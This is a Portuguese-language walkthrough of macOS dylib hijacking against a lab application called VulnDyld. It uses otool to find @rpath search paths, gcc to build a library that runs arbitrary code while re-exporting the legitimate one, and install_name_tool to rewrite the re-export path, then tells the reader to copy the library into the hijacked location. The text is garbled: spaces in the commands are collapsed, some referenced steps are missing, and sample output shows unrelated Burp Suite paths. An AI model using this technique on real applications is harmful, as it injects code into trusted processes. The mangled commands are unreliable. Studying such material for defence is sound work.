# Check where are the @rpath locationsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grepLC_RPATH-A2cmdLC_RPATHcmdsize32path@loader_path/. (offset 12)--cmdLC_RPATHcmdsize32path@loader_path/../lib2 (offset 12)
# Check librareis loaded using @rapth and the used versionsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grep"@rpath"-A3name@rpath/lib.dylib (offset 24)time stamp 2 Thu Jan 1 01:00:02 1970currentversion1.0.0compatibilityversion1.0.0# Check the versions
Com as informações anteriores, sabemos que não está verificando a assinatura das bibliotecas carregadas e está tentando carregar uma biblioteca de:
Então, é possível sequestrá-lo! Crie uma biblioteca que execute algum código arbitrário e exporte as mesmas funcionalidades que a biblioteca legítima, reexportando-a. E lembre-se de compilá-la com as versões esperadas:
gcc-dynamiclib-current_version1.0-compatibility_version1.0-frameworkFoundation/tmp/lib.m-Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib"-o"/tmp/lib.dylib"# Note the versions and the reexport
O caminho de reexportação criado na biblioteca é relativo ao carregador, vamos mudá-lo para um caminho absoluto para a biblioteca a ser exportada:
#Check relativeotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize48name@rpath/libjli.dylib (offset 24)#Change the location of the library absolute to absolute pathinstall_name_tool-change@rpath/lib.dylib"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib"/tmp/lib.dylib# Check againotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize128name/Applications/BurpSuiteProfessional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
Finalmente, basta copiá-lo para o local sequestrado:
Se você está planejando tentar injetar bibliotecas em binários inesperados, você pode verificar as mensagens de evento para descobrir quando a biblioteca é carregada dentro de um processo (neste caso, remova o printf e a execução do /bin/bash).